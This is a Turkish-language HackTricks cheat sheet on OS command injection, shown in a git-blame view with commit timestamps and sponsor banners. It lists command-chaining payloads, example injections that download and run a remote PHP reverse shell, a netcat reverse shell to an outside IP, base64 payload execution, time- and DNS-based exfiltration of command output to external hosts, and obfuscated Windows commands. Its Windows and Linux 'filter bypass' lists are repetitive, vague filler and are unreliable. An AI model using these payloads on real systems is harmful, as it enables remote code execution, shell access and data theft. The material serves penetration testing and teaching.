hacktricks/pentesting-web/command-injection.md

234 lines
12 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# Komut Enjeksiyonu
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2023-12-31 02:25:17 +01:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-10-27 23:22:18 +00:00
2024-02-10 18:14:16 +00:00
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **Trickest** kullanarak kolayca iş akışları oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
2022-10-27 23:22:18 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2024-02-10 18:14:16 +00:00
## Komut Enjeksiyonu Nedir?
2024-02-10 18:14:16 +00:00
**Komut enjeksiyonu**, bir saldırganın bir uygulamanın barındırıldığı sunucuda keyfi işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen tehlikeye atılabilir. Bu komutların çalıştırılması genellikle saldırganın yetkisiz erişim veya kontrol elde etmesine olanak tanır ve uygulamanın ortamı ve alt sistem üzerinde kontrol sağlar.
2024-02-10 18:14:16 +00:00
### Bağlam
2024-02-10 18:14:16 +00:00
**Girdinizin nereye enjekte edildiğine** bağlı olarak, komutlardan önce alıntılanan bağlamı sonlandırmak için (`"` veya `'`) kullanmanız gerekebilir.
2024-02-10 18:14:16 +00:00
## Komut Enjeksiyonu/Çalıştırma
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
2022-10-02 23:08:05 +00:00
ls${LS_COLORS:10:1}${IFS}id # Might be useful
2022-10-10 06:18:23 +06:00
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
2024-02-10 18:14:16 +00:00
### **Sınırlama** Atlamaları
2024-02-10 18:14:16 +00:00
Eğer bir Linux makinesi içinde **keyfi komutlar çalıştırmaya** çalışıyorsanız, bu **Atlamalar** hakkında okumak isteyebilirsiniz:
2022-10-02 23:08:05 +00:00
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
### **Örnekler**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
2024-02-10 18:14:16 +00:00
### Parametreler
İşte kod enjeksiyonu ve benzeri RCE zafiyetlerine karşı savunmasız olabilecek en üst 25 parametre (kaynak: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```plaintext
1. `$_GET`
2. `$_POST`
3. `$_REQUEST`
4. `$_COOKIE`
5. `$_FILES`
6. `$_SERVER`
7. `$_ENV`
8. `$_SESSION`
9. `$_GLOBALS`
10. `$_SERVER['HTTP_COOKIE']`
11. `$_SERVER['HTTP_USER_AGENT']`
12. `$_SERVER['HTTP_REFERER']`
13. `$_SERVER['HTTP_ACCEPT']`
14. `$_SERVER['HTTP_ACCEPT_LANGUAGE']`
15. `$_SERVER['HTTP_ACCEPT_ENCODING']`
16. `$_SERVER['HTTP_ACCEPT_CHARSET']`
17. `$_SERVER['HTTP_CONNECTION']`
18. `$_SERVER['HTTP_HOST']`
19. `$_SERVER['HTTP_X_FORWARDED_FOR']`
20. `$_SERVER['HTTP_X_FORWARDED_HOST']`
21. `$_SERVER['HTTP_X_FORWARDED_SERVER']`
22. `$_SERVER['HTTP_X_FORWARDED_PROTO']`
23. `$_SERVER['HTTP_X_REAL_IP']`
24. `$_SERVER['HTTP_X_REQUESTED_WITH']`
25. `$_SERVER['HTTP_ORIGIN']`
```
```
2020-07-29 09:22:22 +00:00
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
2024-02-10 18:14:16 +00:00
### Zaman tabanlı veri sızdırma
2020-07-29 09:22:22 +00:00
2024-02-10 18:14:16 +00:00
Veri çıkarma: karakter karakter
```
2021-06-25 16:50:01 +00:00
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
2024-02-10 18:14:16 +00:00
### DNS tabanlı veri dışa aktarma
2021-06-25 16:50:01 +00:00
2024-02-10 18:14:16 +00:00
`https://github.com/HoLyVieR/dnsbin` adresinde bulunan araç temel alınarak dnsbin.zhack.ca üzerinde barındırılmaktadır.
```
2021-06-25 16:50:01 +00:00
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
```
2021-06-25 16:50:01 +00:00
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
2024-02-10 18:14:16 +00:00
Windows için filtreleme atlatma yöntemleri:
1. Komut enjeksiyonu: Filtrelenmiş komutları çalıştırmak için komut enjeksiyonu kullanabilirsiniz. Bu, filtreleri atlatmanın etkili bir yoludur.
2. Karakter kodlaması: Filtrelenmiş karakterleri atlatmak için karakter kodlaması kullanabilirsiniz. Örneğin, bir komutu çalıştırmak için ASCII veya Unicode karakterlerini kullanabilirsiniz.
3. Komut zincirleme: Birden fazla komutu birleştirerek filtreleri atlayabilirsiniz. Bu, filtrelenmiş komutları çalıştırmak için etkili bir yöntemdir.
4. Yorumlama karakterleri: Filtrelenmiş komutları çalıştırmak için yorumlama karakterlerini kullanabilirsiniz. Örneğin, "#" veya "//" gibi karakterler filtreleri atlamak için kullanılabilir.
2021-06-25 16:50:01 +00:00
2024-02-10 18:14:16 +00:00
5. Dosya uzantıları: Filtrelenmiş komutları çalıştırmak için dosya uzantılarını kullanabilirsiniz. Örneğin, ".bat" veya ".cmd" gibi uzantılar filtreleri atlamak için kullanılabilir.
2021-06-25 16:50:01 +00:00
2024-02-10 18:14:16 +00:00
6. Çift tırnaklar: Filtrelenmiş komutları çalıştırmak için çift tırnakları kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
2021-06-25 16:50:01 +00:00
2024-02-10 18:14:16 +00:00
7. Boşlukları atlatma: Filtrelenmiş komutları çalıştırmak için boşlukları atlayabilirsiniz. Örneğin, komutları birleştirerek veya komutları çift tırnaklar içine alarak boşlukları atlayabilirsiniz.
2021-06-25 16:50:01 +00:00
2024-02-10 18:14:16 +00:00
8. Komut parametreleri: Filtrelenmiş komutları çalıştırmak için komut parametrelerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
2021-06-25 16:50:01 +00:00
2024-02-10 18:14:16 +00:00
9. Alternatif komutlar: Filtrelenmiş komutları çalıştırmak için alternatif komutları kullanabilirsiniz. Örneğin, "powershell" veya "cmd.exe" gibi alternatif komutlar filtreleri atlamak için kullanılabilir.
10. Çevre değişkenleri: Filtrelenmiş komutları çalıştırmak için çevre değişkenlerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
#### Linux
Linux için filtreleme atlatma yöntemleri:
1. Komut enjeksiyonu: Filtrelenmiş komutları çalıştırmak için komut enjeksiyonu kullanabilirsiniz. Bu, filtreleri atlatmanın etkili bir yoludur.
2. Karakter kodlaması: Filtrelenmiş karakterleri atlatmak için karakter kodlaması kullanabilirsiniz. Örneğin, bir komutu çalıştırmak için ASCII veya Unicode karakterlerini kullanabilirsiniz.
3. Komut zincirleme: Birden fazla komutu birleştirerek filtreleri atlayabilirsiniz. Bu, filtrelenmiş komutları çalıştırmak için etkili bir yöntemdir.
4. Yorumlama karakterleri: Filtrelenmiş komutları çalıştırmak için yorumlama karakterlerini kullanabilirsiniz. Örneğin, "#" veya "//" gibi karakterler filtreleri atlamak için kullanılabilir.
5. Dosya uzantıları: Filtrelenmiş komutları çalıştırmak için dosya uzantılarını kullanabilirsiniz. Örneğin, ".sh" veya ".bash" gibi uzantılar filtreleri atlamak için kullanılabilir.
6. Çift tırnaklar: Filtrelenmiş komutları çalıştırmak için çift tırnakları kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
7. Boşlukları atlatma: Filtrelenmiş komutları çalıştırmak için boşlukları atlayabilirsiniz. Örneğin, komutları birleştirerek veya komutları çift tırnaklar içine alarak boşlukları atlayabilirsiniz.
8. Komut parametreleri: Filtrelenmiş komutları çalıştırmak için komut parametrelerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
9. Alternatif komutlar: Filtrelenmiş komutları çalıştırmak için alternatif komutları kullanabilirsiniz. Örneğin, "bash" veya "sh" gibi alternatif komutlar filtreleri atlamak için kullanılabilir.
10. Çevre değişkenleri: Filtrelenmiş komutları çalıştırmak için çevre değişkenlerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
```
2022-04-05 18:24:52 -04:00
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
2021-06-25 16:50:01 +00:00
```
2022-05-01 13:25:53 +00:00
#### Linux
2021-06-25 16:50:01 +00:00
2022-05-07 19:19:13 +00:00
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}
2021-06-25 16:50:01 +00:00
2024-02-10 18:14:16 +00:00
## Brute-Force Tespit Listesi
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
2021-06-27 21:56:13 +00:00
2024-02-10 18:14:16 +00:00
## Referanslar
2024-02-06 04:10:38 +01:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2023-12-31 02:25:17 +01:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
2022-04-28 16:01:33 +00:00
</details>
2022-08-31 22:35:39 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
2024-02-10 18:14:16 +00:00
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}